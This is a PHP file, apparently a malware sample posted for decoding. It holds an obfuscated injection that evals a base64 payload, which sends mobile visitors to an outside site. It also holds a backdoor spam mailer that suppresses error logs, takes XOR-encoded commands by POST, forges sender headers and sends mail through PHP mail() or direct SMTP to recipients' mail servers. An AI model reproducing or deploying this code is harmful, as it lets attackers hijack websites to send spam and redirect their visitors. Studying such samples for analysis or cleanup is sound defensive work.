PHP Decode

<?php 
$_ = strrev("tressa"); @$_("eval(base64_decode('aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0iaHR0cDovL21vYmlsZS1tb2JpLmluZm8vPzIiPC9zY3JpcHQ+JzsgZmx1c2goKTsgZXhpdDsgfQ=='));"); 
?> 
<?php 
@error_reporting(0);  
@ini_set('error_log',NULL);  
@ini_set('log_errors',0);  
if (count($_POST) < 2)  
{  
die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321));  
}  
$v5031e998 = false;  
foreach (array_keys($_POST) as $v3c6e0b8a)  
{  
	switch ($v3c6e0b8a[0])  
	{  
		case chr(108):  
			$vd56b6998 = $v3c6e0b8a;  
			break;  
		case chr(100):  
			$v8d777f38 = $v3c6e0b8a;  
			break;  
		case chr(109):  
			$v3d26b0b1 = $v3c6e0b8a;  
			break;  
		case chr(101);  
			$v5031e998 = true;  
			break;  
	}  
}  
if ($vd56b6998 === '' || $v8d777f38 === '')  
	die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321));  
$v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); 
$v01b6e203 = @$_POST[$vd56b6998];  
$v8d777f38 = @$_POST[$v8d777f38];  
$v3d26b0b1 = @$_POST[$v3d26b0b1];  
if ($v5031e998)  
{  
	$v01b6e203 = n9a2d8ce3($v01b6e203);  
	$v8d777f38 = n9a2d8ce3($v8d777f38);  
	$v3d26b0b1 = n9a2d8ce3($v3d26b0b1);  
}  
$v01b6e203 = urldecode(stripslashes($v01b6e203));  
$v8d777f38 = urldecode(stripslashes($v8d777f38));  
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1));  
if (strpos($v01b6e203, ';', 1) != false)  
{  
	list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/',strtolower($v01b6e203));  
	$va3da707b = ucfirst($va3da707b); 
	 $vbfbb12dc = ucfirst($vbfbb12dc);  
	 $v3a5939e4 = next(explode('@', $v081bde0c));  
	 if ($vbfbb12dc == '' || $va3da707b == '')  
	 {  
	 	$vbfbb12dc = $va3da707b = '';  
		$v01b6e203 = $v081bde0c;  
	 }  
	 else  
	 {  
	 	$v01b6e203 = "\"$va3da707b $vbfbb12dc\" <$v081bde0c>";  
	 }  
}  
else  
{  
	$vbfbb12dc = $va3da707b = '';  
	$v081bde0c = strtolower($v01b6e203);  
	$v3a5939e4 = next(explode('@', $v01b6e203));  
}  
preg_match('|<USER>(.*)</USER>|imsU', $v8d777f38, $vee11cbb1);  
$vee11cbb1 = $vee11cbb1[1];  
preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c);  
$vb068931c = $vb068931c[1];  
preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc34487c9);  
$vc34487c9 = $vc34487c9[1];  
preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42);  
$v6f4b5f42= $v6f4b5f42[1];  
$vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9);  
$vc34487c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9);  
$v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42);  
$v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42);  
$v0897acf4 = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);  
if (ne667da76($v0897acf4) || @ini_get('safe_mode'))  
	$v10497e3f = false;  
else  
	$v10497e3f = true;  
if ($v10497e3f)  
	$v9a5cb5d8 = "$vee11cbb1@$v0897acf4";  
else  
	$v9a5cb5d8 = "$vee11cbb1@[$v0897acf4]";  
if ($vb068931c != '')  
	$vd98a07f8 = "$vb068931c <$v9a5cb5d8>";  
else  
	$vd98a07f8 = $v9a5cb5d8;  
$vb8ddc93f = "From: $vd98a07f8
";  
$vb8ddc93f .= "Reply-To: $vd98a07f8
";  
$v3c87b187 = "X-Priority: 3 (Normal)
";  
$v3c87b187 .= "MIME-Version: 1.0
";  
$v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"
";  
$v3c87b187 .= "Content-Transfer-Encoding: 8bit
";  
if (!in_array('mail', $v619d75f8))  
{  
	if ($v10497e3f)  
	{  
		if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8"))  
			die(chr(79).chr(75).md5(1234567890)."+0");  
	}  
	else  
	{  
		if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187))  
			die(chr(79).chr(75).md5(1234567890)."+0");  
	} 
}  
$v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."
" . $vb8ddc93f; $v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>
"; $v4340fd73 .= "To: $v01b6e203
"; $v4340fd73 .= "Subject: $vc34487c9
"; $v4340fd73 .= $v3c87b187; $v841a2d68 = $v4340fd73."
".$v6f4b5f42; if ($v3d26b0b1 == '') $v3d26b0b1 = n9c812bad($v3a5939e4);  
if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0)  
{  
	die(chr(79).chr(75).md5(1234567890)."+1");  
}  
else  
{  
	echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417";  
}  
function ne667da76($v957b527b) 
{  
	return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b);  
}  
function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=
", $v92f21a0f = 0, $v3303c65a = false)  
{  
	$vf5a8e923 = strlen($vb45cffe0);  
	$vb4a88417 = '';  
	for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++)  
	{  
		if ($v11a95b8a >= 75)  
		{  
			$v11a95b8a = $v92f21a0f;  
			$vb4a88417 .= $v7fa1b685;  
		}  
		$v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]);  
		if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20))  
		{  
			if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a))  
			{  
				$vb4a88417.=chr($v4a8a08f0);  
				$v11a95b8a = 0;  
				continue;  
			}  
			$vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT);  
			$v11a95b8a += 3;  
			continue;  
		}  
		$vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++;  
	}  
	return $vb4a88417;  
}  
function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1)  
{  
	global $v619d75f8;  
	if (!in_array('fsockopen', $v619d75f8))  
		$v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);  
	elseif (!in_array('pfsockopen', $v619d75f8))  
		$v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); 
	 elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20);  
	 else return -1;  
	 if (!$v66b18866)  
	 {  
	 	return 1;  
	 }  
	 else  
	 {  
	 	$v8d777f38 = n54070395($v66b18866);  
		@fputs($v66b18866, "EHLO $v0897acf4
");  
		$ve98d2f00 = n54070395($v66b18866);  
		if (substr($ve98d2f00, 0, 3) != 250 )  
			return "2+($v01b6e203)+".preg_replace('/(
|
|
)/', '|', $ve98d2f00);  
		@fputs($v66b18866, "MAIL FROM:<$vd98a07f8>
");  
		$ve98d2f00 = n54070395($v66b18866);  
		if (substr($ve98d2f00, 0, 3) != 250 )  
			return "3+($v01b6e203)+".preg_replace('/(
|
|
)/', '|', $ve98d2f00);  
		@fputs($v66b18866, "RCPT TO:<$v01b6e203>
");  
		$ve98d2f00 = n54070395($v66b18866);  
		if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251)  
			return "4+($v01b6e203)+".preg_replace('/(
|
|
)/', '|', $ve98d2f00);  
		@fputs($v66b18866, "DATA
");  
		$ve98d2f00 = n54070395($v66b18866);  
		if (substr($ve98d2f00, 0, 3) != 354 )  
			return "5+($v01b6e203)+".preg_replace('/(
|
|
)/', '|', $ve98d2f00);  
		@fputs($v66b18866, $v841a2d68."
.
");  
		$ve98d2f00 = n54070395($v66b18866);  
		if (substr($ve98d2f00, 0, 3) != 250 )  
			return "6+($v01b6e203)+".preg_replace('/(
|
|
)/', '|', $ve98d2f00); 
		@fputs($v66b18866, "QUIT
"); 
		@fclose($v66b18866);  
		return 0;  
	}  
}  
function n54070395($v66b18866)  
{  
	$v8d777f38 = '';  
	while($v341be97d = @fgets($v66b18866, 4096))  
	{  
		$v8d777f38 .= $v341be97d;  
		if(substr($v341be97d, 3, 1) == ' ')  
		break;  
	}  
	return $v8d777f38;  
}  
function n9c812bad($vad5f82e8)  
{  
	global $v619d75f8;  
	if (!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr"))  
	{  
		@getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816);  
		if (count($v744fa43b) === 0)  
			return '127.0.0.1';  
		$v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816));  
		return $v744fa43b[$v865c0c0b[0]];  
	}  
	else  
	{  
		return '127.0.0.1';  
	}  
}  
function n9a2d8ce3($v1cb251ec)  
{  
	$v1cb251ec = base64_decode($v1cb251ec);  
	$vc68271a6 = '';  
	for($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++)  
		$vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2);  
	return $vc68271a6;  
} ?>